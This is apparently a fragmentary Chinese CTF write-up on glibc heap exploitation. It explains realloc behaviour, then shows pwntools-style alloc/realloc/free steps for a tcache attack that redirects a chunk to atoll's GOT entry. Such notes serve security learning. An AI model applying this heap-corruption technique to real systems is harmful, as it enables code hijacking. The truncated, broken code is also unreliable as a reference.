前置知识
关于realloc
realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);
第一个参数为空时,realloc...free(mem_address)
若第二个参数不为0,这时才是realloc本身的作用——内存空间的重分配
如果realloc的size小于原有size则内存位置不会变动,函数返回原先的指针
如果...(0, 0, b"")
realloc(0, 0x28, p64(atoll_got))
alloc(1, 0x28, b"aaaa")
realloc(0, 0x38, b"a...same mem
## tcache attack
alloc(0, 0x58, b"bbbb")
realloc(0, 0, b"")
realloc(0, 0x58..., p64(atoll_got))
alloc(1, 0x58, b"bbbb")
realloc(0, 0x68, b"a"*8)
free(0)
realloc(1,